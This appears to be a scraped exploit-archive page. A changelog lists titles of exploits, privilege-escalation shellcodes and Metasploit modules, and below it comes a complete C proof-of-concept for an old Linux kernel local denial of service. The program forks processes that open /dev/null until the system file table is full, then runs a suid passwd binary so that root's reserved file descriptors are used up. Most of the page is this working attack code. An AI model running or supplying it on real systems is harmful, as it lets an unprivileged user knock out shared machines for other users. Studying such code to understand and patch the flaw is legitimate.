
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
275 lines
No EOL
3 KiB
C
275 lines
No EOL
3 KiB
C
/*
|
|
source: https://www.securityfocus.com/bid/5178/info
|
|
|
|
The Linux kernel is a freely available, open source kernel originally written by Linus Torvalds. It is the core of all Linux distributions.
|
|
|
|
Recent versions of the Linux kernel include a collection of file descriptors which are reserved for usage by processes executing as the root user. By default, the size of this collection is set to 10 file descriptors.
|
|
|
|
It is possible for a local, non-privileged user to open all system file descriptors. The malicious user may then exhaust the pool of reserved descriptors by opening several common suid binaries, resulting in a denial of service condition.
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
|
|
#include <unistd.h>
|
|
|
|
#include <signal.h>
|
|
|
|
#include <fcntl.h>
|
|
|
|
#include <errno.h>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
#define PREFORK 1
|
|
|
|
#define EXECBIN "/usr/bin/passwd"
|
|
|
|
#define FREENUM 18
|
|
|
|
|
|
|
|
|
|
|
|
static int fc = 0;
|
|
|
|
static int ec = 0;
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
void forkmore(int v)
|
|
|
|
{
|
|
|
|
fc++;
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
void execmore(int v)
|
|
|
|
{
|
|
|
|
ec++;
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
int main()
|
|
|
|
{
|
|
|
|
int r, cn, pt[PREFORK];
|
|
|
|
|
|
|
|
|
|
|
|
signal(SIGUSR1, &forkmore);
|
|
|
|
signal(SIGUSR2, &execmore);
|
|
|
|
printf("\n");
|
|
|
|
|
|
|
|
for (cn = 0; cn < PREFORK; cn++) {
|
|
|
|
if (!(r = fork())) {
|
|
|
|
printf("\npreforked child %d", cn);
|
|
|
|
fflush(stdout);
|
|
|
|
while (!ec) {
|
|
|
|
usleep(100000);
|
|
|
|
}
|
|
|
|
|
|
|
|
printf("\nexecuting %s\n", EXECBIN);
|
|
|
|
fflush(stdout);
|
|
|
|
|
|
|
|
execl(EXECBIN, EXECBIN, NULL);
|
|
|
|
|
|
|
|
printf("\nwhat the fuck?");
|
|
|
|
fflush(stdout);
|
|
|
|
while (1)
|
|
|
|
sleep(999999);
|
|
|
|
exit(1);
|
|
|
|
} else
|
|
|
|
pt[cn] = r;
|
|
|
|
}
|
|
|
|
|
|
|
|
sleep(1);
|
|
|
|
printf("\n\n");
|
|
|
|
fflush(stdout);
|
|
|
|
cn = 0;
|
|
|
|
|
|
|
|
while (1) {
|
|
|
|
fc = ec = 0;
|
|
|
|
cn++;
|
|
|
|
|
|
|
|
if (!(r = fork())) {
|
|
|
|
int cnt = 0, fd = 0, ofd = 0;
|
|
|
|
|
|
|
|
while (1) {
|
|
|
|
ofd = fd;
|
|
|
|
fd = open("/dev/null", O_RDWR);
|
|
|
|
if (fd < 0) {
|
|
|
|
printf("errno %d ", errno);
|
|
|
|
printf("pid %d got %d files\n", getpid(), cnt);
|
|
|
|
fflush(stdout);
|
|
|
|
|
|
|
|
if (errno == ENFILE)
|
|
|
|
kill(getppid(), SIGUSR2);
|
|
|
|
else
|
|
|
|
kill(getppid(), SIGUSR1);
|
|
|
|
|
|
|
|
break;
|
|
|
|
} else
|
|
|
|
cnt++;
|
|
|
|
}
|
|
|
|
|
|
|
|
ec = 0;
|
|
|
|
|
|
|
|
while (1) {
|
|
|
|
usleep(100000);
|
|
|
|
if (ec) {
|
|
|
|
printf("\nfreeing some file descriptors...\n");
|
|
|
|
fflush(stdout);
|
|
|
|
for (cn = 0; cn < FREENUM; cn++) {
|
|
|
|
printf("\n pid %d closing %d", getpid(), ofd);
|
|
|
|
close(ofd--);
|
|
|
|
}
|
|
|
|
ec = 0;
|
|
|
|
kill(getppid(), SIGUSR2);
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
} else {
|
|
|
|
while (!ec && !fc)
|
|
|
|
usleep(100000);
|
|
|
|
|
|
|
|
if (ec) {
|
|
|
|
printf("\n\nfile limit reached, eating some root's fd");
|
|
|
|
fflush(stdout);
|
|
|
|
|
|
|
|
sleep(1);
|
|
|
|
ec = 0;
|
|
|
|
kill(r, SIGUSR2);
|
|
|
|
while (!ec)
|
|
|
|
sleep(1);
|
|
|
|
|
|
|
|
for (cn = 0; cn < PREFORK; cn++)
|
|
|
|
kill(pt[cn], SIGUSR2);
|
|
|
|
|
|
|
|
while (1) {
|
|
|
|
sleep(999999);
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
return 0;
|
|
|
|
} |